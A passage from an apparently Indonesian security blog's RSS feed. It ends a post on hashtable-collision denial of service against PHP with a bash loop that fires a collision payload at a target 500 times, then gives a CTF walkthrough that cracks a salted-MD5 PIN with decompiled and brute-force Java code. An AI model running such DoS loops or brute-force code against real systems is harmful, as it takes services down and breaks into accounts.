<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/taskman.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/taskman.jpg" alt="" title="taskman" width="473" height="233" class="aligncenter size-full wp-image-2855" /></a></p>
<p style="text-align: justify;">
Dari grafik cpu usage di task manager juga terlihat lonjakan cpu usage, dari tadinya normal menjadi 100% setelah menerima request POST of Doom ini.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/taskman2.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/taskman2.jpg" alt="" title="taskman2" width="643" height="252" class="aligncenter size-full wp-image-2856" /></a></p>
<p style="text-align: justify;">
Serangan ini berbahaya karena DoS tidak dilakukan dengan menghujani (flooding) server dengan banyak request, tapi dilakukan sedikit request saja yang mengandung parameter post yang 100% collision.
</p>
<p>
Bila satu atau dua request tidak cukup membuat server target tewas (karena servernya adalah server kelas berat), jangan kuatir kita tinggal menambahkan script yang akan looping melakukan serangan hingga ratusan kali. Sebagai contoh, script bash kecil di bawah ini melakukan serangan sebanyak 500x.
</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/bash</span>
<span style="color: #000000; font-weight: bold;">for</span> i <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">seq</span> <span style="color: #000000;">1</span> <span style="color: #000000;">500</span><span style="color: #000000; font-weight: bold;">`</span> ; <span style="color: #000000; font-weight: bold;">do</span>
    <span style="color: #7a0874; font-weight: bold;">&#40;</span>curl <span style="color: #660033;">-s</span> <span style="color: #660033;">-d</span> <span style="color: #000000; font-weight: bold;">@</span>hashcollide.txt http:<span style="color: #000000; font-weight: bold;">//</span>targethost<span style="color: #000000; font-weight: bold;">/</span>targetpath.php <span style="color: #000000; font-weight: bold;">&gt;/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null <span style="color: #000000; font-weight: bold;">&amp;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #000000; font-weight: bold;">done</span></pre></div></div>

<p style="text-align: justify;">
Dalam artikel selanjutnya kita akan membahas serangan DoS yang sama ke bahasa selain PHP, seperti Java.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=42Wo2n5hsfY:_MnFdca0zaI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=42Wo2n5hsfY:_MnFdca0zaI:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=42Wo2n5hsfY:_MnFdca0zaI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=42Wo2n5hsfY:_MnFdca0zaI:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=42Wo2n5hsfY:_MnFdca0zaI:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=42Wo2n5hsfY:_MnFdca0zaI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=42Wo2n5hsfY:_MnFdca0zaI:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=42Wo2n5hsfY:_MnFdca0zaI:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/web-security/hashtable-collision-dos/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Pre-conference Challenge #3 OWASP AppsecUSA 2011 – Walkthrough</title>
		<link>http://www.ilmuhacking.com/web-security/challenge-3-owasp-appsecusa-2011-walkthrough/</link>
		<comments>http://www.ilmuhacking.com/web-security/challenge-3-owasp-appsecusa-2011-walkthrough/#comments</comments>
		<pubDate>Sun, 31 Jul 2011 06:54:10 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Web Security]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2576</guid>
		<description><![CDATA[Dalam tulisan ini saya akan sharing bagaimana menyelesaikan challenge CTF OWASP dalam Appsec USA 2011. Dalam challenge ini kita diminta mendownload sebuah file ZIP yang berisi sebuah Applet (dalam JAR) dan html untuk me-load Applet tersebut. Ketika Applet tersebut dibuka di browser akan terlihat seperti ini: Kita dihadapkan pada form yang meminta kita memasukkan username [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Dalam tulisan ini saya akan sharing bagaimana menyelesaikan challenge <a href="http://www.appsecusa.org/ctf.html">CTF OWASP</a> dalam Appsec USA 2011.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf1.jpg"><img class="aligncenter size-full wp-image-2583" title="ctf1" src="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf1.jpg" alt="" width="596" height="282" /></a></p>
<p style="text-align: justify;">Dalam challenge ini kita diminta mendownload sebuah file ZIP yang berisi sebuah Applet (dalam JAR) dan html untuk me-load Applet tersebut. Ketika Applet tersebut dibuka di browser akan terlihat seperti ini:</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf2.jpg"><img class="aligncenter size-full wp-image-2585" title="ctf2" src="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf2.jpg" alt="" width="502" height="315" /></a></p>
<p style="text-align: justify;">Kita dihadapkan pada form yang meminta kita memasukkan username dan PIN. Jadi challenge  kita adalah menemukan username dan PIN yang tepat untuk mendapatkan flag yang terenkripsi. Dari form tersebut kita mendapat clue bahwa PIN ini formatnya adalah 6 digit.</p>
<p><span id="more-2576"></span></p>
<p style="text-align: justify;">Sebelumnya kita harus tahu dulu darimana data username/PIN tersebut disimpan. Ada dua kemungkinan:</p>
<ul>
<li>Server-side authentication: bila keputusan credentials benar/salah diputuskan di server</li>
<li>Client-side authentication: bila keputusan credentials benar/salah diputuskan di client (browser)</li>
</ul>
<p style="text-align: justify;">Pertama saya menguji dengan memasukkan user dan PIN sembarang, dari pantauan sniffer tidak terlihat ada traffic data sedikitpun. Dari sini bisa kita simpulkan bahwa ini adalah client-side authentication, artinya keputusan username dan PIN yang dimasukkan benar atau salah sepenuhnya diputuskan di client-side (dalam browser/Applet).</p>
<p style="text-align: justify;">Dalam client-side authentication, pasti ada repository untuk menyimpan data user dan passwordnya. Dalam kasus ini, data tersebut disimpan dalam JAR. Dalam file JAR tersebut kalau kita buka, kita akan temukan file:</p>
<p align="left">org\owasp\appsecusa\capturetheflag\loginchallenge\data.xml. Berikut adalah isi dari data.xml</p>
<p style="text-align: justify;">

<div class="wp_syntax"><div class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;?xml</span> <span style="color: #000066;">version</span>=<span style="color: #ff0000;">&quot;1.0&quot;</span> <span style="color: #000066;">encoding</span>=<span style="color: #ff0000;">&quot;UTF-8&quot;</span><span style="color: #000000; font-weight: bold;">?&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;root<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;users<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;identity<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;uid<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>1<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/uid<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;username<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>Larry<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/username<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;password<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>520540d155fdde616031d546cd5c747a<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/password<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/identity<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;identity<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;uid<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>2<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/uid<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;username<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>Curly<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/username<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;password<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>edbf0f9d73cd984fae64c44c618f3c33<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/password<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/identity<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;identity<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;uid<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>3<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/uid<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;username<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>Moe<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/username<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;password<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>b2512d38c5702ce5108585d3c730f657<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/password<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/identity<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/users<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;storage<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;record<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;sid<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>3<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/sid<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;data<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>LCNIk2NvX1JdVcwIoWBxyewfKIFexhCeGnepwYK63RmSrEmAbEg/CHLRA7sK0mjAB/ZJzbM113Mv
3YXg2d46age+gNFoERSce9u2/up8xcpjfLdKd9RilU1hqpkZ0vcXkgZSn8XTnecHVYSRG45gXuWA
PzWGvNdy396WivrEKZo5B3kGUOJh8XIBW90aA9RWN0thyHoJvjaiu7alKuv/wtKwMk0ZTuZol5Le
rY7iJJdaEPthqeso3bHg0xd3xKmD2X09PdEa1U8ZuOYH2Z3ZjN4fj6gm5EBjDNferc7rSWYcbNkF
064jnQHO73XQAURMXl+vaXWMX3i7uqWinm/eSc1BUspXaB3BBZChcoMqK0+gdsmzd1GGalVqL86f
xBL7T5yVS7RJe0r45HtCYXroecR1aaO6xzHUwcAqGAD2Km2n0DrmRz9MoVO0yR2/KipiAfjFzPd+
7wjbzF5M8BcfLNRtBR9fTK86fkeIO+19+IFwnlewYFzVIWtTebm3zOHJCbQtBttMfwp8YaM+UWxZ
sA==<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/data<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/record<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/storage<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/root<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></div></div>

</p>
<p align="justify">
File XML ini menyimpan data user, password dan data yang terenkripsi (kemungkinan ini adalah flag yang akan kita capture). Dari isinya bisa kita lihat ada 3 user: Larry, Curly dan Moe. Password terlihat dalam bentuk hash sepanjang 32 karakter (dari panjangnya kemungkinan ini adalah MD5).
</p>
<p align="justify">
Karena kemungkinan password disimpan dalam MD5 dan formatnya adalah 6 digit, maka saya mencoba cara paling mudah dulu, yaitu melakukan brute force dengan john the ripper. Dengan diketahui formatnya adalah 6 digit, john bisa melakukan brute force dalam hitungan detik saja.
</p>
<p align="justify">
Sebelum menjalankan john, kita perlu edit john.conf dulu agar lebih efisien. Pada bagian Incremental:Digits Kita masukkan minLength=6 dan maxLength=6 karena kita tahu bahwa yang kita cari panjangnya tepat 6 digit.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf3.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf3.jpg" alt="" title="ctf3" width="273" height="239" class="aligncenter size-full wp-image-2590" /></a></p>
<p align="justify">
Oke sekarang kita coba jalankan john dan berdoa semoga passwordnya ditemukan.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf41.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf41.jpg" alt="" title="ctf4" width="591" height="109" class="aligncenter size-full wp-image-2595" /></a></p>
<p align="justify">
John dengan opsi &#8220;incremental:Digits&#8221; dan panjang diset 6 ternyata tidak berhasil mendapatkan kecocokan, artinya format tersebut pasti bukan plain MD5, kemungkinan sudah ditambah salt. Oke kalau cara ini gagal, sekarang waktunya &#8220;go deeper&#8221;.
</p>
<p><b>Decompiling</b></p>
<p align="justify">
Kita akan &#8220;go deeper&#8221; dengan melakukan decompiling file class yang tersimpan dalam JAR.
</p>
<p align="justify">
Class yang bertanggung jawab melakukan otentikasi adalah org.owasp.appsecusa.capturetheflag.loginchallenge.Authenticator khususnya pada method authenticate().
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="java" style="font-family:monospace;">  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">boolean</span> authenticate<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> username, <span style="color: #003399;">String</span> pin<span style="color: #009900;">&#41;</span>
    <span style="color: #000000; font-weight: bold;">throws</span> EncryptionException
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>username <span style="color: #339933;">==</span> <span style="color: #000066; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">usersIds</span>.<span style="color: #006633;">containsKey</span><span style="color: #009900;">&#40;</span>username<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
      <span style="color: #000000; font-weight: bold;">return</span> <span style="color: #000066; font-weight: bold;">false</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">return</span> <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">calculator</span>.<span style="color: #006633;">compare</span><span style="color: #009900;">&#40;</span>pin, <span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span><span style="color: #009900;">&#41;</span><span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">usersIds</span>.<span style="color: #006633;">get</span><span style="color: #009900;">&#40;</span>username<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p align="justify">
Dalam method authenticate() memakai method compare() dari class MD5HashCalculator.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="code"><pre class="java" style="font-family:monospace;">  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> getHash<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> text<span style="color: #009900;">&#41;</span>
    <span style="color: #000000; font-weight: bold;">throws</span> EncryptionException
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">try</span>
    <span style="color: #009900;">&#123;</span>
      <span style="color: #003399;">MessageDigest</span> m <span style="color: #339933;">=</span> <span style="color: #003399;">MessageDigest</span>.<span style="color: #006633;">getInstance</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;MD5&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      m.<span style="color: #006633;">update</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;BuildYourOwnRainbow-AppSecUSA:&quot;</span>.<span style="color: #006633;">getBytes</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, <span style="color: #cc66cc;">0</span>, <span style="color: #0000ff;">&quot;BuildYourOwnRainbow-AppSecUSA:&quot;</span>.<span style="color: #006633;">length</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      m.<span style="color: #006633;">update</span><span style="color: #009900;">&#40;</span>text.<span style="color: #006633;">getBytes</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, <span style="color: #cc66cc;">0</span>, text.<span style="color: #006633;">length</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> digest <span style="color: #339933;">=</span> m.<span style="color: #006633;">digest</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #003399;">BigInteger</span> bigInt <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">BigInteger</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span>, digest<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #003399;">String</span> hashtext <span style="color: #339933;">=</span> bigInt.<span style="color: #006633;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">16</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
      <span style="color: #000000; font-weight: bold;">while</span> <span style="color: #009900;">&#40;</span>hashtext.<span style="color: #006633;">length</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">32</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        hashtext <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;0&quot;</span> <span style="color: #339933;">+</span> hashtext<span style="color: #339933;">;</span>
      <span style="color: #009900;">&#125;</span>
      <span style="color: #000000; font-weight: bold;">return</span> hashtext<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">catch</span> <span style="color: #009900;">&#40;</span><span style="color: #003399;">NoSuchAlgorithmException</span> ex<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000000; font-weight: bold;">throw</span> <span style="color: #000000; font-weight: bold;">new</span> EncryptionException<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Failed to digest:&quot;</span> <span style="color: #339933;">+</span> ex.<span style="color: #006633;">getMessage</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, ex<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">boolean</span> compare<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> text, <span style="color: #003399;">String</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">throws</span> EncryptionException
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">return</span> getHash<span style="color: #009900;">&#40;</span>text<span style="color: #009900;">&#41;</span>.<span style="color: #006633;">equals</span><span style="color: #009900;">&#40;</span>hash<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p align="justify">
Dari potongan kode di atas terjawab bagaimana password disimpan. Password disimpan memang dalam MD5, tapi sudah diberi salt string:&#8221;BuildYourOwnRainbow-AppSecUSA:&#8221;, ini sebabnya john the ripper tidak berhasil meng-crack.
</p>
<p><b>Brute forcing PIN</b></p>
<p align="justify">
Karena kita sudah mengetahui bagaimana otentikasi dilakukan (MD5+salt) maka kita bisa meminjam code di atas dan memodifikasinya untuk melakukan brute force. Karena PIN adalah 6 digit, maka kita bisa melakukan brute force dari 100000 sampai 999999.
</p>
<p align="justify">
Kita hanya menambahkan method main yang melakukan looping dari 100.000 sampai < 1.000.000 dan memanfaatkan method compare getHash() dan compare() yang sama tanpa modifikasi.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.math.BigInteger</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.security.MessageDigest</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.security.NoSuchAlgorithmException</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.io.*</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> md5
<span style="color: #009900;">&#123;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000066; font-weight: bold;">void</span> main<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> args<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>	
	<span style="color: #000000; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">int</span> i <span style="color: #339933;">=</span> <span style="color: #cc66cc;">100000</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">1000000</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #003399;">String</span> text <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">+</span>i<span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">boolean</span> match <span style="color: #339933;">=</span> compare<span style="color: #009900;">&#40;</span>text,<span style="color: #0000ff;">&quot;b2512d38c5702ce5108585d3c730f657&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>match<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;MATCH nih, Moe:&quot;</span><span style="color: #339933;">+</span>text<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000000; font-weight: bold;">return</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #003399;">String</span> getHash<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> text<span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">try</span>
    <span style="color: #009900;">&#123;</span>
      <span style="color: #003399;">MessageDigest</span> m <span style="color: #339933;">=</span> <span style="color: #003399;">MessageDigest</span>.<span style="color: #006633;">getInstance</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;MD5&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      m.<span style="color: #006633;">update</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;BuildYourOwnRainbow-AppSecUSA:&quot;</span>.<span style="color: #006633;">getBytes</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, <span style="color: #cc66cc;">0</span>, <span style="color: #0000ff;">&quot;BuildYourOwnRainbow-AppSecUSA:&quot;</span>.<span style="color: #006633;">length</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      m.<span style="color: #006633;">update</span><span style="color: #009900;">&#40;</span>text.<span style="color: #006633;">getBytes</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, <span style="color: #cc66cc;">0</span>, text.<span style="color: #006633;">length</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #000066; font-weight: bold;">byte</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> digest <span style="color: #339933;">=</span> m.<span style="color: #006633;">digest</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #003399;">BigInteger</span> bigInt <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">BigInteger</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span>, digest<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #003399;">String</span> hashtext <span style="color: #339933;">=</span> bigInt.<span style="color: #006633;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">16</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
      <span style="color: #000000; font-weight: bold;">while</span> <span style="color: #009900;">&#40;</span>hashtext.<span style="color: #006633;">length</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">32</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        hashtext <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;0&quot;</span> <span style="color: #339933;">+</span> hashtext<span style="color: #339933;">;</span>
      <span style="color: #009900;">&#125;</span>
      <span style="color: #000000; font-weight: bold;">return</span> hashtext<span style="color: #339933;">;</span> 
	<span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">catch</span> <span style="color: #009900;">&#40;</span><span style="color: #003399;">Exception</span> ex<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 
		<span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Failed to digest:&quot;</span> <span style="color: #339933;">+</span> ex.<span style="color: #006633;">getMessage</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000000; font-weight: bold;">return</span> <span style="color: #000066; font-weight: bold;">null</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000066; font-weight: bold;">boolean</span> compare<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> text, <span style="color: #003399;">String</span> hash<span style="color: #009900;">&#41;</span> 
  <span style="color: #009900;">&#123;</span>
